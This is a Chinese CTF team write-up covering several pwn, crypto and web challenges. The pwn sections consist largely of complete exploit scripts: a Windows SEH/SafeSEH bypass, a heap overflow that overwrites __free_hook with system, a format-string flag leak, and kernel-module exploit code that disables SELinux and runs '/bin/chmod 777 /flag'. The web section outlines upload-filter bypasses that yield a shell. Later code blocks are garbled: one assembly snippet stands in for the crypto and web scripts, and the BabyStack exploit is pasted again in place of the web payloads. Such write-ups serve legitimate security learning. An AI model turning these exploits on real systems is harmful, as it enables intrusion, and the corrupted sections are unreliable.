kn0ck诚招大佬,联系邮箱kn0ck_team@protonmail.com
pwn
BabyStack
main函数的f5有点问题,所以直接看反汇编
.text:00408579 mov esp, [ebp+ms_exc.old_esp] .text:0040857C call sub_4033C8 ;这个函数里面有getflag的代码段,先想想怎么进去 发现00408579地址是异常处理函数 而在text:00408542 loc_408542: ; CODE XREF: sub_4083E0:loc_40853C↑p .text:00408542 pop eax .text:00408543 mov esi, [ebp+var_2C] .text:00408546 sub esi, eax .text:00408548 div esi .text:0040854A pop eax .text:0040854B push offset aYouCanNotFindM ; "You can not find Me!n" .text:00408550 call printf
有div指令,应该是除0异常触发,因为输入只能输入8字节,否则报错退出,
要求esi=0,就必须要求esi==eax,此时的eax刚好是前面一个call的返回值,也就是00408541,由于程序开启了aslr,所以就利用到了泄露出来的main函数地址了,需要动态根据前面的算法构造出输入的8字节.
407F60这个函数里面有任意地址读取,读取异常的话进行异常处理函数会直接退出.
当输入no的时候会判断2个初始值为1的局部变量的和是否==3,==才getflag,否则退出
现在是怎么改掉这2个值
sub_402C70((int)&v11, 256, (int)v1);这个函数可以让v11溢出,可以修改返回地址,但是不能修改掉2个局部变量, 可函数退出的地方都是exit,不是正常退出,好像也无法劫持eip
.text:00408224 loc_408224: ; DATA XREF: .rdata:stru_47ACC0↓o .text:00408224 mov eax, 1 .text:00408229 retn
这里是个正常返回的地方,但是是在异常处理函数里面,前面有jmp直接跳过它,又不能直接运行到这里来,想想看能否触发异常来到这里. 触发异常来到这里后发现esp已经改掉了,还是无法劫持eip
换思路,可以直接通过修改seh中的函数指针,由于泄露了栈,所以可以保证seh链是完整的绕过sehop.覆盖第一个seh链为getflag函数,再触发异常
但是好像还有safeseh相关保护需要绕过…………
根据这篇文章https://bbs.pediy.com/thread-221016.htm 绕过safeseh
最后一个坑,浪费了好多时间,最后的scope_addr后面的0不能被破坏,不然直接退出,经过调试发现会有个换行符插进去了,补上他们就好了
from pwn import * import string t = remote('121.40.159.66', 6666) #t = remote('1.1.8.1', 9999) def calc_esi(ret_addr): ret_addr = hex(ret_addr)[2:].zfill(8) esi = '' for i in ret_addr: if i in '1234567890': esi+=chr(ord(i)+3) elif i in string.ascii_letters: esi+=chr(ord(i)+55) return esi #通过第一阶段验证 print t.recvuntil('stack address = ') stack_addr = t.recvline()[2:-2] print stack_addr stack_addr = int(stack_addr,16) print t.recvuntil('main address = ') main_addr = t.recvline()[2:-2] print main_addr main_addr_num = int(main_addr,16) ret_addr = main_addr_num+0x4be3 esi = calc_esi(ret_addr) print 'esi= ',esi #esi = hex(ret_addr)[2:].zfill(8) t.sendline(esi) #泄露seh_next print t.recvuntil('to know more?') t.sendline('yes') print t.recvuntil('do you want to know?') seh_next_addr = stack_addr-(0x19ff10-0x19fee0) print 'seh_next_addr: ',hex(seh_next_addr) t.sendline(str(seh_next_addr)) print t.recvuntil('value is 0x') seh_next = t.recvuntil('rn')[:-2] print 'seh_next: ',seh_next seh_next = int(seh_next,16) #泄露seh_next后面的seh_handler print t.recvuntil('to know more?rn') t.sendline('yes') print t.recvuntil('do you want to know?rn') handler_addr = stack_addr-(0x19ff10-0x19fee4) print 'handler: ',hex(handler_addr) t.sendline(str(handler_addr)) print t.recvuntil('value is 0x') handler = t.recvuntil('rn')[:-2] print 'handler: ',handler handler = int(handler,16) #泄露栈上面的gscookie print t.recvuntil('to know more?rn') t.sendline('yes') print t.recvuntil('do you want to know?rn') cookie = stack_addr-(0x19ff10-0x19fed4) print 'cookie addr: ',hex(cookie) t.sendline(str(cookie)) print t.recvuntil('value is 0x') cookie = t.recvuntil('rn')[:-2] print 'cookie: ',cookie cookie = int(cookie,16) #泄露security cookie print t.recvuntil('to know more?rn') t.sendline('yes') print t.recvuntil('do you want to know?rn') sc = 0x47C004-0x40395e+ main_addr_num print 'sc addr: ',hex(sc) t.sendline(str(sc)) print t.recvuntil('value is ') sc = t.recvuntil('rn')[2:-2] print 'sc: ',sc sc = int(sc,16) #计算ebp ebp = stack_addr-(0x19ff10-0x19fef0) print 'ebp: ',hex(ebp) #计算buf地址,计算scope指针 buf_addr = stack_addr-(0x19FF10-0x019FE44) print 'buf_addr:', hex(buf_addr) scope_addr = (buf_addr+4)^sc print 'scope_addr: ',hex(scope_addr) print t.recvuntil('to know more?rn') t.sendline('1') ''' payload ''' getflag_addr = main_addr_num+0x0408266-0x40395E#计算getflag地址 payload = 'aaaa' #把fake scope放在后4字节是因为之后会输入yes破坏前4字节 payload += 'xE4xFFxFFxFFx00x00x00x00x0CxFFxFFxFFx00x00x00x00xFExFFxFFxFF'+p32(getflag_addr)*2 #padding payload +='x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x31x31x31x00x32x31x32x00x00x00x00x00x00x00x00x00' payload +=p32(cookie)+'3'*8+p32(seh_next)+p32(handler)+p32(scope_addr)+p32(0)+p32(ebp) print(len(payload)) t.sendline(payload) print t.recvuntil('you want to know more?rn') t.sendline('yes') print t.recvuntil('n') t.sendline('111')#再次触发异常,进入getflag代码 print t.interactive()
二手破电脑
此题先看两个函数,malloc_usable_size
和 realloc
。
在linux下,使用 man malloc_useable_size
即可快速查看函数定义、用法等。
The malloc_usable_size() function returns the number of usable bytes in the block pointed to by ptr, a pointer to a block of memory allocated by malloc(3) or a related function.
再看看源码,大概就是,32位系统下,如果堆块是inuse的,就返回堆块大小-4,否则返回堆块大小-8。
realloc
就有意思了,按照源码,是先 malloc
,然后 memcpy
再 free
,实测该程序并不会进行 malloc
或者 free
,因为大小没改变,但是对堆块的 size
进行了检查。
然后查找漏洞,漏洞不太明显,在 perchase
函数的 scanf
函数处,例如 %8s
这样的格式化字符串,实际会写入9个字节,因为有最后一个 x00
会被写进去。
解题思路:
- 利用
unsorted bin
泄露堆地址 - 伪造
pre_inuse
,利用一字节溢出,修改下一堆块的inuse
标志位 - 利用
free
的向前合并,造成堆块的overlap
- 篡改某一结构体的
name
指针,使其指向一个伪造的堆块,堆块位置自身结构体之前,且大小符合条件 - 调用
rename
函数,realloc
后name
指针通过检查,写入数据即可再次修改name
指针至__free_hook
处,接下来还有一次对name
指针进行写的机会,写入system
即可。
关于libc,吐槽一下主办方用的非主流libc:libc6-i386_2.23-0ubuntu10_amd64.so
另外有个serial需要解一下
for ( i = 0; i <= 6; ++i ) buf[i] = ((buf[i] | buf[i + 1]) & ~(buf[i] & buf[i + 1]) | i) & ~((buf[i] | buf[i + 1]) & ~(buf[i] & buf[i + 1]) & i) //buf = "Qf(>qwd!"
用python反着解开
buf = '!' final_buf = "Qf(>qwd!" for _ in range(7): cur = ord(buf[0]) i = 6 - _ for pre in range(256): if ord(final_buf[i]) == ((pre | cur) & ~(pre & cur) | i) & ~((pre | cur) & ~(pre & cur) & i): buf = chr(pre) + buf continue print buf # e4SyD1C!
exp如下,具体的堆排列情况,我都是实时调的,大家可以参考一下我的文章interactive-pwnning-tutorial。
#https://github.com/matrix1001/welpwn from PwnContext import * if __name__ == '__main__': context.terminal = ['tmux', 'splitw', '-h'] #context.log_level = 'debug' # functions for quick script s = lambda data :ctx.send(str(data)) #in case that data is an int sa = lambda delim,data :ctx.sendafter(str(delim), str(data)) sl = lambda data :ctx.sendline(str(data)) sla = lambda delim,data :ctx.sendlineafter(str(delim), str(data)) r = lambda numb=4096 :ctx.recv(numb) ru = lambda delims, drop=True :ctx.recvuntil(delims, drop) irt = lambda :ctx.interactive() rs = lambda *args, **kwargs :ctx.start(*args, **kwargs) dbg = lambda gs='', **kwargs :ctx.debug(gdbscript=gs, **kwargs) # misc functions uu32 = lambda data :u32(data.ljust(4, '')) uu64 = lambda data :u64(data.ljust(8, '')) ctx.binary = './pwn' ctx.remote = ('47.111.59.243', 10001) #ctx.custom_lib_dir = './glibc-all-in-one/libs/2.23-0ubuntu10_i386/' ctx.remote_libc = './libc6-i386_2.23-0ubuntu10_amd64.so' ctx.debug_remote_libc = True def perchase(name_len, name, price): sla('>>>', 1) sla('length', name_len) sa('Name', name) sla('Price', price) def comment(idx, comment, score): sla('>>>', 2) sla('Index', idx) sa('Comment', comment) sla('score', score) def throw(idx): sla('>>>', 3) sla('index', idx) def rename(idx, new_name, some_fuck): sla('>>>', 4) sla('index', idx) sleep(0.1) s(new_name) sa('power', 'yn') sla('serial', 'e4SyD1C!') sa('Pwner', some_fuck) ctx.breakpoints = [0x12f2, 0x1328, 0x118f] rs('remote') # rs() libc = ELF('./libc6-i386_2.23-0ubuntu10_amd64.so') # dbg('c') perchase(0x10, 'testn', 0) #0 comment(0, 'testcommentn', 0) perchase(0x10, 'testn', 0) #1 throw(0) perchase(0x10, 'testn', 0) #0 comment(0, 'a', 0) throw(0) ru('Comment ') libc_leak = uu32(r(4)) & 0xffffff00 success('libc_leak = {:#x}'.format(libc_leak)) libc_base = libc_leak - 0x1b0700 # clean up throw(1) # perchase(0x8c, 'an', 0) #0 perchase(0x80, 'an', 0) #1 perchase(0x40, 'an', 0) #2 perchase(0xf8, 'an', 0) #3 perchase(0x20, 'topn', 0) #4 throw(2) # null overflow perchase(0x44, 'a'*0x40 + p32(0x190) + 'n', 0) #2 throw(0) # overlap throw(3) perchase(0x10, 'an', 0) #0 perchase(0x50, 'an', 0) perchase(0x100, p32(0) + p32(0x31) + p32(0) + p32(0x239) + ''*0x14 + 'n', 0) throw(0) perchase(0x100, '/bin/shn', 0) libc.address = libc_base free_hook = libc.sym['__free_hook'] system = libc.sym['system'] rename(1, p32(0)*5 + p32(free_hook), p32(system)) irt()
playfmt
是一个很简单的格式串,但是buf放在了bss,需要栈指针链,由于flag已经在内存里面了,泄露一下堆地址,再把flag地址写到栈里面,就可以利用格式化字符串漏洞拿flag了。
#https://github.com/matrix1001/welpwn from PwnContext import * try: from IPython import embed as ipy except ImportError: print ('IPython not installed.') if __name__ == '__main__': context.terminal = ['tmux', 'splitw', '-h'] context.log_level = 'debug' # functions for quick script s = lambda data :ctx.send(str(data)) #in case that data is an int sa = lambda delim,data :ctx.sendafter(str(delim), str(data)) sl = lambda data :ctx.sendline(str(data)) sla = lambda delim,data :ctx.sendlineafter(str(delim), str(data)) r = lambda numb=4096 :ctx.recv(numb) ru = lambda delims, drop=True :ctx.recvuntil(delims, drop) irt = lambda :ctx.interactive() rs = lambda *args, **kwargs :ctx.start(*args, **kwargs) dbg = lambda gs='', **kwargs :ctx.debug(gdbscript=gs, **kwargs) # misc functions uu32 = lambda data :u32(data.ljust(4, '')) uu64 = lambda data :u64(data.ljust(8, '')) ctx.binary = './playfmt' ctx.custom_lib_dir = '/root/share/project/glibc-all-in-one/libs/2.23-0ubuntu11_i386/' ctx.debug_remote_libc = True ctx.remote = ('120.78.192.35', 9999) def fmt(payload): sleep(0.2) s(payload) rs('remote') sleep(1) ctx.clean() fmt('%18$x') heap_leak = int(r(), 16) flag_addr = heap_leak - 0x18 flag_addr_c = p32(flag_addr) for i in range(4): fmt('%{}c%6$hhn'.format(i+0xf0)) fmt('%{}c%14$hhn'.format(ord(flag_addr_c[i]))) fmt('%240c%6$hhn') dbg('b *0x0804889Fnc') sleep(1) ctx.clean() fmt('%6$x') stack = int(ru(8), 16) addup = (0xf0 - (stack & 0xff))/4 fmt('%240c%6$hhn%{}$s'.format(addup+14)) r()
sudrv
具体思路和参考文章是一样的。
此次利用分两段完成,首先编写一个简单的leak用来泄露kernel base,然后再利用模块中的堆溢出漏洞达到任意地址写的目的,劫持prctl的hook,来调用poweroff_work_func来执行’/bin/chmod 777 /flag’
leak.c
//leak.c #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/types.h> #include <errno.h> #include <sys/stat.h> #include <sys/ioctl.h> #include <fcntl.h> #include <string.h> #include <pty.h> #include <sys/mman.h> #include <sys/ipc.h> #include <sys/sem.h> #define to_kmalloc 0x73311337 #define to_kfree 0x13377331 #define to_show 0xdeadbeef void exploit(){ char buf[0x100] = {0}; char test[] = "hello world!%lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx"; memcpy(buf,test,sizeof(test)); int fd1 = open("/dev/meizijiutql", O_RDWR); ioctl(fd1,to_kmalloc,0x500); write(fd1,buf,sizeof(buf)); ioctl(fd1,to_show); ioctl(fd1,to_kfree); } int main(int argc, char const *argv[]) { /* code */ exploit(); return 0; }
exp.c
//exp.c #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/types.h> #include <errno.h> #include <sys/stat.h> #include <sys/ioctl.h> #include <fcntl.h> #include <string.h> #include <pty.h> #include <sys/mman.h> #include <sys/ipc.h> #include <sys/sem.h> #define to_kmalloc 0x73311337 #define to_kfree 0x13377331 #define to_show 0xdeadbeef int main(int argc, char const *argv[]) { unsigned long kernel_base; puts("input kernel addr:"); scanf("%lu",&kernel_base); kernel_base -= 0x1c827f; unsigned long set_memory_rw = kernel_base + 0x54870; unsigned long selinux_disable = kernel_base + 0x31ebc0; unsigned long sbin_poweroff = kernel_base + 0x1241d40; unsigned long security_task_prctl = kernel_base + 0x3134e0; unsigned long hook_addr = kernel_base + 0x12934a8; unsigned long orderly_poweroff = kernel_base + 0x81b10; unsigned long poweroff_work_func = kernel_base + 0x82000; printf("kernel_base = %pn", kernel_base); printf("set_memory_rw = %pn", set_memory_rw); printf("selinux_disable = %pn", selinux_disable); printf("sbin_poweroff = %pn", sbin_poweroff); printf("security_task_prctl = %pn", security_task_prctl); printf("hook_addr = %pn", hook_addr); printf("orderly_poweroff = %pn", orderly_poweroff); printf("poweroff_work_func = %pn", poweroff_work_func); int fd1 = open("/dev/meizijiutql", O_RDWR); ioctl(fd1,to_kmalloc,0xc0); unsigned long fake[0x19] = {0}; fake[0x18] = sbin_poweroff; write(fd1,(char *)fake,sizeof(fake)); ioctl(fd1,to_kmalloc,0xc0); ioctl(fd1,to_kmalloc,0xc0);//get addr char cmd[] = "/bin/chmod 777 /flag"; write(fd1,cmd,sizeof(cmd)); ioctl(fd1,to_kmalloc,0x100); unsigned long fake2[0x21] = {0}; fake2[0x20] = hook_addr; write(fd1,(char *)fake2,sizeof(fake2)); ioctl(fd1,to_kmalloc,0x100); ioctl(fd1,to_kmalloc,0x100);//get addr unsigned long addr = sbin_poweroff; unsigned long fake_table[4] = {0}; fake_table[3] = selinux_disable; unsigned long *p = &fake_table; write(fd1,&p,8); //prctl(addr,2,addr,addr,2);//do selinux_disable fake_table[3] = poweroff_work_func; prctl(addr,2,addr,addr,2);//do poweroff_work_func return 0; }
Crypto
DSA
与题目所给地址进行交互,回显出DSA签名算法的参数p,q,g,y,并给出对12组语句MD5值的签名的结果(r,s),求解私钥x。
观察到所给的签名结果中,存在两组数据的r相同,说明这两组数据签名时采取了相同的随机数k,原理参考https://www.jarviswang.me/?p=169,可以解除相应私钥x,之后用x加密所给的md5值提供给服务器就ok.
计算脚本如下:
DSA.py
.text:00408224 loc_408224: ; DATA XREF: .rdata:stru_47ACC0↓o .text:00408224 mov eax, 1 .text:00408229 retn
0
wp.py
.text:00408224 loc_408224: ; DATA XREF: .rdata:stru_47ACC0↓o .text:00408224 mov eax, 1 .text:00408229 retn
1
Prime
这题应该算是卡的最久的了,题目给出了4组 m^n mod n = c,n的生成方式未知,已知n ,c 求解 m ,看起来像是一个RSA的解密 。与RSA相关联的是欧拉定理,根据欧拉定理可知,
m^phi(n) mod n ==1,
结合题目的条件可得:
m^(n mod phi(n)) mod n =c
下面就是尝试分解n,发现给出的4个n两两不互素,每个n可以分解成4个素数的乘积,随后对多素数的RSA进行解密,参考https://www.xuebuyuan.com/681378.html
交互脚本如下:
.text:00408224 loc_408224: ; DATA XREF: .rdata:stru_47ACC0↓o .text:00408224 mov eax, 1 .text:00408229 retn
2
MT
题目主要是对以下一段逻辑进行逆向,
.text:00408224 loc_408224: ; DATA XREF: .rdata:stru_47ACC0↓o .text:00408224 mov eax, 1 .text:00408229 retn
3
4个步骤,一步一步分析,按位解即可,这里直接给出计算脚本:
.text:00408224 loc_408224: ; DATA XREF: .rdata:stru_47ACC0↓o .text:00408224 mov eax, 1 .text:00408229 retn
4
RSA
题目给出 n, e, c,可以发送密文,让服务器判断相应明文是否为奇数,利⽤ RSA PARITY ORACLE⽅法,这次构造特定密文交互1024次可以求出特定明文,执行三轮,服务器返回flag,
原理参考https://ctf-wiki.github.io/ctf-wiki/crypto/asymmetric/rsa/rsa_chosen_plain_cipher-zh/#rsa-parity-oracle
交互脚本如下:
.text:00408224 loc_408224: ; DATA XREF: .rdata:stru_47ACC0↓o .text:00408224 mov eax, 1 .text:00408229 retn
5
Web
0x01 CheckIn
首先判断目标题目的容器环境,发现是nginx而不是apache
之后发现上传点具有如下特征:
-
.php
后缀的不可以 -
<?
不可以出现 -
exif_imagetype
检验是否是图片
那么就逐点bypass;
- 不允许php后缀的情况下就要考虑容器的特性
容器是否存在解析漏洞或者其他,如果是apache的话我们完全可以先上传.htaccess
来将某个后缀当做php脚本解析执行,但是此处是nginx容器,在这个版本也没有对应的解析漏洞,因此考虑.user.ini
来构造解析
这个可以参考:《user.ini文件构成的PHP后门》 - 不允许
<?
那么就考虑<script language='php'>
-
exif_imagetype
校验bypass
这个可以参考这篇文章:https://xz.aliyun.com/t/3937
最终得到如下getshell脚本
.text:00408224 loc_408224: ; DATA XREF: .rdata:stru_47ACC0↓o .text:00408224 mov eax, 1 .text:00408229 retn
6
.text:00408224 loc_408224: ; DATA XREF: .rdata:stru_47ACC0↓o .text:00408224 mov eax, 1 .text:00408229 retn
7
直接cat得到flag
0x02 EasyPHP
访问站点直接得到网站对应的源代码
.text:00408224 loc_408224: ; DATA XREF: .rdata:stru_47ACC0↓o .text:00408224 mov eax, 1 .text:00408229 retn
8
看到源码之后思路就很明确了,get_the_flag
函数部分的上传漏洞和上题相类似,但是不同的是这里是apache
环境,所以要上传的是.htaccess
文件来构造解析。
关键的是第一部分,如何来让eval
函数触发get_the_flag
函数,首先判断正则过滤了那些ascii字符,写一个脚本判断一下。
.text:00408224 loc_408224: ; DATA XREF: .rdata:stru_47ACC0↓o .text:00408224 mov eax, 1 .text:00408229 retn
9
最终可以得到有如下
from pwn import * import string t = remote('121.40.159.66', 6666) #t = remote('1.1.8.1', 9999) def calc_esi(ret_addr): ret_addr = hex(ret_addr)[2:].zfill(8) esi = '' for i in ret_addr: if i in '1234567890': esi+=chr(ord(i)+3) elif i in string.ascii_letters: esi+=chr(ord(i)+55) return esi #通过第一阶段验证 print t.recvuntil('stack address = ') stack_addr = t.recvline()[2:-2] print stack_addr stack_addr = int(stack_addr,16) print t.recvuntil('main address = ') main_addr = t.recvline()[2:-2] print main_addr main_addr_num = int(main_addr,16) ret_addr = main_addr_num+0x4be3 esi = calc_esi(ret_addr) print 'esi= ',esi #esi = hex(ret_addr)[2:].zfill(8) t.sendline(esi) #泄露seh_next print t.recvuntil('to know more?') t.sendline('yes') print t.recvuntil('do you want to know?') seh_next_addr = stack_addr-(0x19ff10-0x19fee0) print 'seh_next_addr: ',hex(seh_next_addr) t.sendline(str(seh_next_addr)) print t.recvuntil('value is 0x') seh_next = t.recvuntil('rn')[:-2] print 'seh_next: ',seh_next seh_next = int(seh_next,16) #泄露seh_next后面的seh_handler print t.recvuntil('to know more?rn') t.sendline('yes') print t.recvuntil('do you want to know?rn') handler_addr = stack_addr-(0x19ff10-0x19fee4) print 'handler: ',hex(handler_addr) t.sendline(str(handler_addr)) print t.recvuntil('value is 0x') handler = t.recvuntil('rn')[:-2] print 'handler: ',handler handler = int(handler,16) #泄露栈上面的gscookie print t.recvuntil('to know more?rn') t.sendline('yes') print t.recvuntil('do you want to know?rn') cookie = stack_addr-(0x19ff10-0x19fed4) print 'cookie addr: ',hex(cookie) t.sendline(str(cookie)) print t.recvuntil('value is 0x') cookie = t.recvuntil('rn')[:-2] print 'cookie: ',cookie cookie = int(cookie,16) #泄露security cookie print t.recvuntil('to know more?rn') t.sendline('yes') print t.recvuntil('do you want to know?rn') sc = 0x47C004-0x40395e+ main_addr_num print 'sc addr: ',hex(sc) t.sendline(str(sc)) print t.recvuntil('value is ') sc = t.recvuntil('rn')[2:-2] print 'sc: ',sc sc = int(sc,16) #计算ebp ebp = stack_addr-(0x19ff10-0x19fef0) print 'ebp: ',hex(ebp) #计算buf地址,计算scope指针 buf_addr = stack_addr-(0x19FF10-0x019FE44) print 'buf_addr:', hex(buf_addr) scope_addr = (buf_addr+4)^sc print 'scope_addr: ',hex(scope_addr) print t.recvuntil('to know more?rn') t.sendline('1') ''' payload ''' getflag_addr = main_addr_num+0x0408266-0x40395E#计算getflag地址 payload = 'aaaa' #把fake scope放在后4字节是因为之后会输入yes破坏前4字节 payload += 'xE4xFFxFFxFFx00x00x00x00x0CxFFxFFxFFx00x00x00x00xFExFFxFFxFF'+p32(getflag_addr)*2 #padding payload +='x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x31x31x31x00x32x31x32x00x00x00x00x00x00x00x00x00' payload +=p32(cookie)+'3'*8+p32(seh_next)+p32(handler)+p32(scope_addr)+p32(0)+p32(ebp) print(len(payload)) t.sendline(payload) print t.recvuntil('you want to know more?rn') t.sendline('yes') print t.recvuntil('n') t.sendline('111')#再次触发异常,进入getflag代码 print t.interactive()
0
那么之后只要使用既有的规则模式进行fuzz即可(随后会写专门的文章来介绍webfuzz)
因为还有长度限制,所以如果fuzz出get_the_flag
的话,可能长度会超,所以考虑率fuzz出$_GET[z]
,然后让php解析${$_GET[z]}
来达到调用对应函数的目的。
这里fuzz字符之间的异或,最终得到如下结果
from pwn import * import string t = remote('121.40.159.66', 6666) #t = remote('1.1.8.1', 9999) def calc_esi(ret_addr): ret_addr = hex(ret_addr)[2:].zfill(8) esi = '' for i in ret_addr: if i in '1234567890': esi+=chr(ord(i)+3) elif i in string.ascii_letters: esi+=chr(ord(i)+55) return esi #通过第一阶段验证 print t.recvuntil('stack address = ') stack_addr = t.recvline()[2:-2] print stack_addr stack_addr = int(stack_addr,16) print t.recvuntil('main address = ') main_addr = t.recvline()[2:-2] print main_addr main_addr_num = int(main_addr,16) ret_addr = main_addr_num+0x4be3 esi = calc_esi(ret_addr) print 'esi= ',esi #esi = hex(ret_addr)[2:].zfill(8) t.sendline(esi) #泄露seh_next print t.recvuntil('to know more?') t.sendline('yes') print t.recvuntil('do you want to know?') seh_next_addr = stack_addr-(0x19ff10-0x19fee0) print 'seh_next_addr: ',hex(seh_next_addr) t.sendline(str(seh_next_addr)) print t.recvuntil('value is 0x') seh_next = t.recvuntil('rn')[:-2] print 'seh_next: ',seh_next seh_next = int(seh_next,16) #泄露seh_next后面的seh_handler print t.recvuntil('to know more?rn') t.sendline('yes') print t.recvuntil('do you want to know?rn') handler_addr = stack_addr-(0x19ff10-0x19fee4) print 'handler: ',hex(handler_addr) t.sendline(str(handler_addr)) print t.recvuntil('value is 0x') handler = t.recvuntil('rn')[:-2] print 'handler: ',handler handler = int(handler,16) #泄露栈上面的gscookie print t.recvuntil('to know more?rn') t.sendline('yes') print t.recvuntil('do you want to know?rn') cookie = stack_addr-(0x19ff10-0x19fed4) print 'cookie addr: ',hex(cookie) t.sendline(str(cookie)) print t.recvuntil('value is 0x') cookie = t.recvuntil('rn')[:-2] print 'cookie: ',cookie cookie = int(cookie,16) #泄露security cookie print t.recvuntil('to know more?rn') t.sendline('yes') print t.recvuntil('do you want to know?rn') sc = 0x47C004-0x40395e+ main_addr_num print 'sc addr: ',hex(sc) t.sendline(str(sc)) print t.recvuntil('value is ') sc = t.recvuntil('rn')[2:-2] print 'sc: ',sc sc = int(sc,16) #计算ebp ebp = stack_addr-(0x19ff10-0x19fef0) print 'ebp: ',hex(ebp) #计算buf地址,计算scope指针 buf_addr = stack_addr-(0x19FF10-0x019FE44) print 'buf_addr:', hex(buf_addr) scope_addr = (buf_addr+4)^sc print 'scope_addr: ',hex(scope_addr) print t.recvuntil('to know more?rn') t.sendline('1') ''' payload ''' getflag_addr = main_addr_num+0x0408266-0x40395E#计算getflag地址 payload = 'aaaa' #把fake scope放在后4字节是因为之后会输入yes破坏前4字节 payload += 'xE4xFFxFFxFFx00x00x00x00x0CxFFxFFxFFx00x00x00x00xFExFFxFFxFF'+p32(getflag_addr)*2 #padding payload +='x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x31x31x31x00x32x31x32x00x00x00x00x00x00x00x00x00' payload +=p32(cookie)+'3'*8+p32(seh_next)+p32(handler)+p32(scope_addr)+p32(0)+p32(ebp) print(len(payload)) t.sendline(payload) print t.recvuntil('you want to know more?rn') t.sendline('yes') print t.recvuntil('n') t.sendline('111')#再次触发异常,进入getflag代码 print t.interactive()
1
因为可见字符都被过滤了,这里我们还得要一个字符来作为参数,同时要考虑bypass
from pwn import * import string t = remote('121.40.159.66', 6666) #t = remote('1.1.8.1', 9999) def calc_esi(ret_addr): ret_addr = hex(ret_addr)[2:].zfill(8) esi = '' for i in ret_addr: if i in '1234567890': esi+=chr(ord(i)+3) elif i in string.ascii_letters: esi+=chr(ord(i)+55) return esi #通过第一阶段验证 print t.recvuntil('stack address = ') stack_addr = t.recvline()[2:-2] print stack_addr stack_addr = int(stack_addr,16) print t.recvuntil('main address = ') main_addr = t.recvline()[2:-2] print main_addr main_addr_num = int(main_addr,16) ret_addr = main_addr_num+0x4be3 esi = calc_esi(ret_addr) print 'esi= ',esi #esi = hex(ret_addr)[2:].zfill(8) t.sendline(esi) #泄露seh_next print t.recvuntil('to know more?') t.sendline('yes') print t.recvuntil('do you want to know?') seh_next_addr = stack_addr-(0x19ff10-0x19fee0) print 'seh_next_addr: ',hex(seh_next_addr) t.sendline(str(seh_next_addr)) print t.recvuntil('value is 0x') seh_next = t.recvuntil('rn')[:-2] print 'seh_next: ',seh_next seh_next = int(seh_next,16) #泄露seh_next后面的seh_handler print t.recvuntil('to know more?rn') t.sendline('yes') print t.recvuntil('do you want to know?rn') handler_addr = stack_addr-(0x19ff10-0x19fee4) print 'handler: ',hex(handler_addr) t.sendline(str(handler_addr)) print t.recvuntil('value is 0x') handler = t.recvuntil('rn')[:-2] print 'handler: ',handler handler = int(handler,16) #泄露栈上面的gscookie print t.recvuntil('to know more?rn') t.sendline('yes') print t.recvuntil('do you want to know?rn') cookie = stack_addr-(0x19ff10-0x19fed4) print 'cookie addr: ',hex(cookie) t.sendline(str(cookie)) print t.recvuntil('value is 0x') cookie = t.recvuntil('rn')[:-2] print 'cookie: ',cookie cookie = int(cookie,16) #泄露security cookie print t.recvuntil('to know more?rn') t.sendline('yes') print t.recvuntil('do you want to know?rn') sc = 0x47C004-0x40395e+ main_addr_num print 'sc addr: ',hex(sc) t.sendline(str(sc)) print t.recvuntil('value is ') sc = t.recvuntil('rn')[2:-2] print 'sc: ',sc sc = int(sc,16) #计算ebp ebp = stack_addr-(0x19ff10-0x19fef0) print 'ebp: ',hex(ebp) #计算buf地址,计算scope指针 buf_addr = stack_addr-(0x19FF10-0x019FE44) print 'buf_addr:', hex(buf_addr) scope_addr = (buf_addr+4)^sc print 'scope_addr: ',hex(scope_addr) print t.recvuntil('to know more?rn') t.sendline('1') ''' payload ''' getflag_addr = main_addr_num+0x0408266-0x40395E#计算getflag地址 payload = 'aaaa' #把fake scope放在后4字节是因为之后会输入yes破坏前4字节 payload += 'xE4xFFxFFxFFx00x00x00x00x0CxFFxFFxFFx00x00x00x00xFExFFxFFxFF'+p32(getflag_addr)*2 #padding payload +='x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x31x31x31x00x32x31x32x00x00x00x00x00x00x00x00x00' payload +=p32(cookie)+'3'*8+p32(seh_next)+p32(handler)+p32(scope_addr)+p32(0)+p32(ebp) print(len(payload)) t.sendline(payload) print t.recvuntil('you want to know more?rn') t.sendline('yes') print t.recvuntil('n') t.sendline('111')#再次触发异常,进入getflag代码 print t.interactive()
2
所以简单的做法就是把上面的可用字符串再给fuzz一遍,最终得到如下payload
